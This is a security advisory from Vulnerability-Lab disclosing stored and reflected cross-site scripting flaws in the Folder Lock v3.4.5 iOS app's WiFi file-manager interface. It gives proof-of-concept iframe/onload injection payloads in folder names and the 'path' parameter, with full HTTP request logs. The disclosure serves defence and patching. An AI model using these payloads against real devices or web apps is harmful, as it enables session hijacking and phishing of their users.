Folder Lock v3.4.5 iOS - Multiple Web Vulnerabilities

Document Title:
===============
Folder Lock v3.4.5 iOS - Multiple Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2210


Release Date:
=============
2020-04-19


Vulnerability Laboratory ID (VL-ID):
====================================
2210


Common Vulnerability Scoring System:
====================================
4.2


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Folder Lock lets you password-protect your personal files, photos, videos, documents, contacts, wallet cards, notes and 
audio recordings in your iPhone. Apart from being a perfect data security app, Folder Lock is a perfect WiFi manager 
app too, as you can transfer files from your iPhone to PC, or vice versa, wireless via Folder Lock. Its WiFi Music Manager 
feature allows you the options of audio import, music import, song import and mp3 import without using iTunes.

(Copy of the Homepage: https://apps.apple.com/us/app/folder-lock/id372925917 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web vulnerabilities in the official Folder Lock v3.4.5 mobile ios application.


Affected Product(s):
====================
NewSoftwares.net 
Product: Folder Lock v3.4.5 - Apple iOS Mobile Web Application


Vulnerability Disclosure Timeline:
==================================
2020-04-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
1.1
Multiple persistent cross site scripting vulnerability has been discovered in the official Folder Lock v3.4.5 mobile ios application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to 
web-application requests from the application-side.

The persistent input validation vulnerability is located in the `create` module with the `Create Folder` function. Remote attackers 
are able to inject own malicious persistent script codes as path or foldername. After the inject the code executes persistent from the 
application-side. The request method to inject is POST and the attack vector is located on the application-side. The injection point 
is the create folder function and the execution point occurs with any path/file index dir listing on preview.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects 
to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Function(s):
[+] Create Folder

Vulnerable Module(s):
[+] path



1.2
Multiple non-persistent cross site web vulnerabilities has been discovered in the official Folder Lock v3.4.5 mobile ios application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser 
to web-application requests from the client-side.

The non-persistent cross site scripting vulnerabilities are located in the `path` parameter of the `list` and `download` module.
Remote attackers are able to inject own malicious script code to client-side requests with non-persistent attack vector. 
The request method to inject is GET and the attack vector is located on the client-side. The injection point is the vulnerable 
`path` parameter and the execution occurs in the not sanitized error exception output message.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external 
redirects to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./list
[+] ./download

Vulnerable Parameter(s):
[+] path


Proof of Concept (PoC):
=======================
1.1
The persistent input validation web vulnerability can be exploited by remote attackers with wifi ui access with low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Vulnerable Source
<ol class="breadcrumb" id="path" style="cursor: pointer;"><li data-path="/"><a>IOS-DEVICENAME</a></li><li data-path="/Audios/">
<a>Audios</a></li><li class="active">test"&gt;<iframe src="evil.source" onload="alert(document.domain)"></li></iframe></li></ol>


--- PoC Session Logs (POST) --- [Create Folder]
http://localhost/create
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 89
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
path=/Audios/test"><iframe src=evil.source onload=alert(document.domain)>
-
POST: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 2
Content-Type: application/json
Connection: Close
Server: GCDWebUploader
-
http://localhost/evil.source
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Server: GCDWebUploader
Connection: Close


Reference(s):
http://localhost/create



1.2
The non-persistent cross site web vulnerabilities can be exploited by remote attackers with wifi ui access with low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Vulnerable Source
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>HTTP Error 404</title></head><body><h1>
HTTP Error 404: <iframe src=evil.source onload=alert(document.domain)> does not exist</h1><h3></h3></body></html>


--- PoC Session Logs (GET) --- [List Error Exception]
http://localhost/list?path=>"<iframe src=evil.source onload=alert(document.domain)>
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
-
GET: HTTP/1.1 200 OK
Content-Length: 237
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
-
http://localhost/evil.source
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/list?path=%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
-
GET: HTTP/1.1 200 OK
Server: GCDWebUploader
Connection: Close
Date: Tue, 14 Apr 2020 17:53:23 GMT

--- PoC Session Logs (GET) --- [Download Error Exception]
http://localhost/download?path=>"<iframe src=evil.source onload=alert(document.domain)>
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
-
GET: HTTP/1.1 200 OK
Content-Length: 237
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
-
http://localhost/evil.source
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/download?path=%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
-
GET: HTTP/1.1 200 OK
Server: GCDWebUploader
Connection: Close

References:
http://localhost/list?path=
http://localhost/download?path=


Security Risk:
==============
1.1
The security risk of the persistent validation web vulnerabilities in creat folder function is estimated as medium.

1.2
The security risk of the client-side cross site scripting web vulnerabilities in the path parameter is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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